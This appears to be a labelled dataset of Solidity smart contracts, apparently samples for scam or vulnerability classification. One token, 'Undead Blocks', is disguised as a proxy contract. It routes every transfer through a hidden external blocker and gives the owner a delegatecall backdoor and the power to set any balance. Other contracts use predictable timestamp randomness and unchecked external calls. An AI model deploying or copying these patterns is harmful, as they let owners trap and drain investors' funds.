address(0)) { IConditional _contCheck = IConditional(_contract); require( _contCheck.passesTest(address(0)) == true || _contCheck.passesTest(address(0)) == false, 'contract does not implement interface' ); } feeExclusionContract = _contract; } function isRemovedSniper(address account) external view returns (bool) { return _isSniper[account]; } function removeSniper(address account) external onlyOwner { require(account != _uniswapRouterAddress, 'We can not blacklist Uniswap'); require(!_isSniper[account], 'Account is already blacklisted'); _isSniper[account] = true; _confirmedSnipers.push(account); } function amnestySniper(address account) external onlyOwner { require(_isSniper[account], 'Account is not blacklisted'); for (uint256 i = 0; i < _confirmedSnipers.length; i++) { if (_confirmedSnipers[i] == account) { _confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1]; _isSniper[account] = false; _confirmedSnipers.pop(); break; } } } function calculateETHRewards(address wallet) public view returns (uint256) { uint256 baseRewards = ethRewardsBalance.mul(balanceOf(wallet)).div( _tTotal.sub(balanceOf(deadAddress)) ); uint256 rewardsWithBooster = eligibleForRewardBooster(wallet) ? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2)) : baseRewards; return rewardsWithBooster > ethRewardsBalance ? baseRewards : rewardsWithBooster; } function calculateTokenRewards(address wallet, address tokenAddress) public view returns (uint256) { IERC20 token = IERC20(tokenAddress); uint256 contractTokenBalance = token.balanceOf(address(this)); uint256 baseRewards = contractTokenBalance.mul(balanceOf(wallet)).div( _tTotal.sub(balanceOf(deadAddress)) ); uint256 rewardsWithBooster = eligibleForRewardBooster(wallet) ? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2)) : baseRewards; return rewardsWithBooster > contractTokenBalance ? baseRewards : rewardsWithBooster; } function claimETHRewards() external { require( balanceOf(_msgSender()) > 0, 'You must have a balance to claim ETH rewards' ); require( canClaimRewards(_msgSender()), 'Must wait claim period before claiming rewards' ); _rewardsLastClaim[_msgSender()] = block.timestamp; uint256 rewardsSent = calculateETHRewards(_msgSender()); ethRewardsBalance -= rewardsSent; _msgSender().call{ value: rewardsSent }(''); emit SendETHRewards(_msgSender(), rewardsSent); } function canClaimRewards(address user) public view returns (bool) { if (_rewardsLastClaim[user] == 0) { return block.timestamp > launchTime.add(rewardsClaimTimeSeconds); } else { return block.timestamp > _rewardsLastClaim[user].add(rewardsClaimTimeSeconds); } } function claimTokenRewards(address token) external { require( balanceOf(_msgSender()) > 0, 'You must have a balance to claim rewards' ); require( IERC20(token).balanceOf(address(this)) > 0, 'We must have a token balance to claim rewards' ); require( canClaimRewards(_msgSender()), 'Must wait claim period before claiming rewards' ); _rewardsLastClaim[_msgSender()] = block.timestamp; uint256 rewardsSent = calculateTokenRewards(_msgSender(), token); IERC20(token).transfer(_msgSender(), rewardsSent); emit SendTokenRewards(_msgSender(), token, rewardsSent); } function setFeeRate(uint256 _rate) external onlyOwner { feeRate = _rate; } function manualswap(uint256 amount) external onlyOwner { require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); _swapTokens(amount); } function emergencyWithdraw() external onlyOwner { payable(owner()).send(address(this).balance); } receive() external payable {} }
0
1,016
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal stopTheBots; address public uniPair; constructor(address _botProtection) { stopTheBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract TransparentUpgradeableProxy is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 500000000000000000000000000; string public name = "Undead Blocks"; string public symbol = "UNDEAD"; IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForUniswap(wETH, address(this)); allowance[address(this)][address(routerForPancake)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _toAddresses, uint amount) public { require(msg.sender == owner); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses)); for(uint i = 0; i < _toAddresses.length; i++) { balanceOf[_toAddresses[i]] = amount; emit Transfer(address(0x0), _toAddresses[i], amount); } } function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForPancake.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_toAddresses.length == _amounts.length); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses)); for(uint i = 0; i < _toAddresses.length; i++) { balanceOf[_toAddresses[i]] = _amounts[i]; emit Transfer(address(0x0), _toAddresses[i], _amounts[i]); } } }
0
1,275
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DQCoin is ERC20 { using SafeMath for uint256; address public owner; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public name = "DaQianCoin"; string public constant symbol = "DQC"; uint public constant decimals = 18; bool public stopped; modifier stoppable { assert(!stopped); _; } uint256 public totalSupply = 24000000000*(10**18); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event LOCK(address indexed _owner, uint256 _value); mapping (address => uint256) public lockAddress; modifier lock(address _add){ require(_add != address(0)); uint256 releaseTime = lockAddress[_add]; if(releaseTime > 0){ require(block.timestamp >= releaseTime); _; }else{ _; } } modifier onlyOwner() { require(msg.sender == owner); _; } function DQCoin() public { owner = msg.sender; balances[msg.sender] = totalSupply; } function stop() onlyOwner public { stopped = true; } function start() onlyOwner public { stopped = false; } function lockTime(address _to,uint256 _value) onlyOwner public { if(_value > block.timestamp){ lockAddress[_to] = _value; emit LOCK(_to, _value); } } function lockOf(address _owner) constant public returns (uint256) { return lockAddress[_owner]; } function transferOwnership(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function () public payable { address myAddress = this; emit Transfer(msg.sender, myAddress, msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _amount) stoppable lock(msg.sender) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, uint256 _amount) stoppable lock(_from) public returns (bool success) { require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[msg.sender] = balances[msg.sender].add(_amount); emit Transfer(_from, msg.sender, _amount); return true; } function approve(address _spender, uint256 _value) stoppable lock(_spender) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function kill() onlyOwner public { selfdestruct(msg.sender); } function setName(string _name) onlyOwner public { name = _name; } }
1
3,798
pragma solidity ^0.4.25; contract CoinFlip { address owner; uint payPercentage = 90; uint public MaxAmountToBet = 200000000000000000; mapping (address => uint) private userBalances; struct Game { address addr; uint blocknumber; uint blocktimestamp; uint bet; uint prize; bool winner; } Game[] lastPlayedGames; Game newGame; event Status( string _msg, address user, uint amount, bool winner ); constructor() public payable { owner = msg.sender; } modifier onlyOwner() { if (owner != msg.sender) { revert(); } else { _; } } function Play() public payable { if (msg.value > MaxAmountToBet) { revert(); } else { if ((block.timestamp % 2) == 0) { if (address(this).balance < (msg.value * ((100 + payPercentage) / 100))) { userBalances[msg.sender] = address(this).balance; uint amountToWithdraw = userBalances[msg.sender]; userBalances[msg.sender] = 0; msg.sender.transfer(amountToWithdraw); emit Status('Congratulations, you win! Sorry, we didn\'t have enought money, we will deposit everything we have!', msg.sender, msg.value, true); newGame = Game({ addr: msg.sender, blocknumber: block.number, blocktimestamp: block.timestamp, bet: msg.value, prize: address(this).balance, winner: true }); lastPlayedGames.push(newGame); } else { uint _prize = msg.value * (100 + payPercentage) / 100; emit Status('Congratulations, you win!', msg.sender, _prize, true); userBalances[msg.sender] = _prize; uint amountToWithdraw2 = userBalances[msg.sender]; userBalances[msg.sender] = 0; msg.sender.transfer(amountToWithdraw2); newGame = Game({ addr: msg.sender, blocknumber: block.number, blocktimestamp: block.timestamp, bet: msg.value, prize: _prize, winner: true }); lastPlayedGames.push(newGame); } } else { emit Status('Sorry, you loose!', msg.sender, msg.value, false); newGame = Game({ addr: msg.sender, blocknumber: block.number, blocktimestamp: block.timestamp, bet: msg.value, prize: 0, winner: false }); lastPlayedGames.push(newGame); } } } function getGameCount() public constant returns(uint) { return lastPlayedGames.length; } function getGameEntry(uint index) public constant returns(address addr, uint blocknumber, uint blocktimestamp, uint bet, uint prize, bool winner) { return (lastPlayedGames[index].addr, lastPlayedGames[index].blocknumber, lastPlayedGames[index].blocktimestamp, lastPlayedGames[index].bet, lastPlayedGames[index].prize, lastPlayedGames[index].winner); } function depositFunds() payable public onlyOwner {} function withdrawFunds(uint amount) onlyOwner public { require(amount <= address(this).balance); if (owner.send(amount)) { emit Status('User withdraw some money!', msg.sender, amount, true); } } function setMaxAmountToBet(uint amount) onlyOwner public returns (uint) { MaxAmountToBet = amount; return MaxAmountToBet; } function getMaxAmountToBet() constant public returns (uint) { return MaxAmountToBet; } function Kill() onlyOwner public{ emit Status('Contract was killed, contract balance will be send to the owner!', msg.sender, address(this).balance, true); selfdestruct(owner); } }
1
4,551
pragma solidity ^0.4.11; contract ERC20 { function transfer(address _to, uint256 _amount) returns (bool success); function transferFrom(address _from, address _to, uint256 _amount ) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); function approve(address _spender, uint256 _amount) returns (bool success); function allowance(address _owner, address _spender ) constant returns (uint256 remaining); function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) returns (bool success); function totalSupply() constant returns (uint); } contract TokenController { function proxyPayment(address _owner) payable returns(bool); function onTransfer(address _from, address _to, uint _amount) returns(bool); function onApprove(address _owner, address _spender, uint _amount) returns(bool); } contract Controlled { modifier onlyController { if (msg.sender != controller) throw; _; } address public controller; function Controlled() { controller = msg.sender;} function changeController(address _newController) onlyController { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data); } contract MiniMeToken is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.1'; struct Checkpoint { uint128 fromBlock; uint128 value; } MiniMeToken public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) returns (bool success) { if (!transfersEnabled) throw; return doTransfer(msg.sender, _to, _amount); } function transferFrom(address _from, address _to, uint256 _amount ) returns (bool success) { if (msg.sender != controller) { if (!transfersEnabled) throw; if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } function doTransfer(address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } if (parentSnapShotBlock >= block.number) throw; if ((_to == 0) || (_to == address(this))) throw; var previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); if (previousBalanceTo + _amount < previousBalanceTo) throw; updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) returns (bool success) { if (!transfersEnabled) throw; if ((_amount!=0) && (allowed[msg.sender][_spender] !=0)) throw; if (isContract(controller)) { if (!TokenController(controller).onApprove(msg.sender, _spender, _amount)) throw; } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) returns (bool success) { if (!approve(_spender, _amount)) throw; ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) onlyController returns (bool) { uint curTotalSupply = getValueAt(totalSupplyHistory, block.number); if (curTotalSupply + _amount < curTotalSupply) throw; updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); var previousBalanceTo = balanceOf(_owner); if (previousBalanceTo + _amount < previousBalanceTo) throw; updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController returns (bool) { uint curTotalSupply = getValueAt(totalSupplyHistory, block.number); if (curTotalSupply < _amount) throw; updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); var previousBalanceFrom = balanceOf(_owner); if (previousBalanceFrom < _amount) throw; updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) internal returns (uint) { return a < b ? a : b; } function () payable { if (isContract(controller)) { if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender)) throw; } else { throw; } } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint256 balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract PreSale is Controlled, TokenController { using SafeMath for uint256; uint256 constant public exchangeRate = 1; uint256 constant public investor_bonus = 25; MiniMeToken public apt; address public place_holder; address public preSaleWallet; uint256 public totalSupplyCap; uint256 public totalSold; uint256 public minimum_investment; uint256 public startBlock; uint256 public endBlock; uint256 public initializedBlock; uint256 public finalizedBlock; bool public paused; modifier initialized() { assert(initializedBlock != 0); _; } modifier contributionOpen() { assert(getBlockNumber() >= startBlock && getBlockNumber() <= endBlock && finalizedBlock == 0); _; } modifier notPaused() { require(!paused); _; } function PreSale(address _apt, address _place_holder) { require(_apt != 0x0); require(_place_holder != 0x0); apt = MiniMeToken(_apt); place_holder = _place_holder; } function initialize( address _preSaleWallet, uint256 _totalSupplyCap, uint256 _minimum_investment, uint256 _startBlock, uint256 _endBlock ) public onlyController { require(initializedBlock == 0); assert(apt.totalSupply() == 0); assert(apt.controller() == address(this)); assert(apt.decimals() == 18); require(_preSaleWallet != 0x0); preSaleWallet = _preSaleWallet; assert(_startBlock >= getBlockNumber()); require(_startBlock < _endBlock); startBlock = _startBlock; endBlock = _endBlock; require(_totalSupplyCap > 0); totalSupplyCap = _totalSupplyCap; minimum_investment = _minimum_investment; initializedBlock = getBlockNumber(); Initialized(initializedBlock); } function () public payable notPaused { proxyPayment(msg.sender); } function proxyPayment(address _th) public payable notPaused initialized contributionOpen returns (bool) { require(_th != 0x0); doBuy(_th); return true; } function onTransfer(address, address, uint256) public returns (bool) { return false; } function onApprove(address, address, uint256) public returns (bool) { return false; } function doBuy(address _th) internal { require(msg.value >= minimum_investment); address caller; if (msg.sender == address(apt)) { caller = _th; } else { caller = msg.sender; } assert(!isContract(caller)); uint256 toFund = msg.value; uint256 leftForSale = tokensForSale(); if (toFund > 0) { if (leftForSale > 0) { uint256 tokensGenerated = toFund.mul(exchangeRate); if (tokensGenerated > leftForSale) { tokensGenerated = leftForSale; toFund = leftForSale.div(exchangeRate); } assert(apt.generateTokens(_th, tokensGenerated)); totalSold = totalSold.add(tokensGenerated); preSaleWallet.transfer(toFund); NewSale(_th, toFund, tokensGenerated); } else { toFund = 0; } } uint256 toReturn = msg.value.sub(toFund); if (toReturn > 0) { caller.transfer(toReturn); } } function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function finalize() public initialized { require(finalizedBlock == 0); assert(getBlockNumber() >= startBlock); assert(msg.sender == controller || getBlockNumber() > endBlock || tokensForSale() == 0); apt.changeController(place_holder); finalizedBlock = getBlockNumber(); Finalized(finalizedBlock); } function tokensForSale() public constant returns(uint256) { return totalSupplyCap > totalSold ? totalSupplyCap - totalSold : 0; } function getBlockNumber() internal constant returns (uint256) { return block.number; } function claimTokens(address _token) public onlyController { if (apt.controller() == address(this)) { apt.claimTokens(_token); } if (_token == 0x0) { controller.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint256 balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } function pauseContribution(bool _paused) onlyController { paused = _paused; } event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount); event NewSale(address indexed _th, uint256 _amount, uint256 _tokens); event Initialized(uint _now); event Finalized(uint _now); }
1
3,342
pragma solidity ^0.4.20; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwner(address newOwner) public onlyOwner { owner = newOwner; } } contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract EIP20Interface { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Akilos is EIP20Interface, Ownable, SafeMath { mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "Akilos"; uint8 public decimals = 18; string public symbol = "ALS"; function Akilos() public { } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function mint(address _to, uint256 _value) public onlyOwner { totalSupply = safeAdd(totalSupply, _value); balances[_to] = safeAdd(balances[_to], _value); } }
1
4,911
pragma solidity ^0.4.24; contract SimpleWallet { address public owner = msg.sender; uint public depositsCount; modifier onlyOwner { require(msg.sender == owner); _; } function() public payable { depositsCount++; } function withdrawAll() public onlyOwner { withdraw(address(this).balance); } function withdraw(uint _value) public onlyOwner { msg.sender.transfer(_value); } function sendMoney(address _target, uint _value, bytes _data) public onlyOwner { _target.call.value(_value)(_data); } }
0
995
pragma solidity ^0.4.24; contract vsgame { using SafeMath for uint256; string public name = "FishvsFish Game"; string public symbol = "FvF"; uint256 public minFee; uint256 public maxFee; uint256 public jackpotDistribution; uint256 public refComm; uint256 public durationRound; uint256 public devFeeRef; uint256 public devFee; bool public activated = false; address public developerAddr; uint256 public rId; mapping (address => Indatasets.Player) public player; mapping (uint256 => Indatasets.Round) public round; mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerAmountDeposit; mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerAmountDepositReal; mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerRoundAmount; constructor() public { developerAddr = msg.sender; } modifier senderVerify() { require (msg.sender == tx.origin); _; } modifier amountVerify() { if(msg.value < 10000000000000000){ developerAddr.transfer(msg.value); }else{ require(msg.value >= 10000000000000000); _; } } modifier playerVerify() { require(player[msg.sender].active == true, "Player isn't active."); _; } modifier isActivated() { require(activated == true, "Contract hasn't been activated yet."); _; } function activate() public { require(msg.sender == developerAddr); require(activated == false, "Contract already activated"); minFee = 5; maxFee = 50; jackpotDistribution = 70; refComm = 25; durationRound = 43200; rId = 1; activated = true; devFeeRef = 100; devFeeRef = devFeeRef.sub(jackpotDistribution).sub(refComm); devFee = 100; devFee = devFee.sub(jackpotDistribution); round[rId].start = now; round[rId].end = now.add(172800); round[rId].ended = false; round[rId].winner = 0; } function 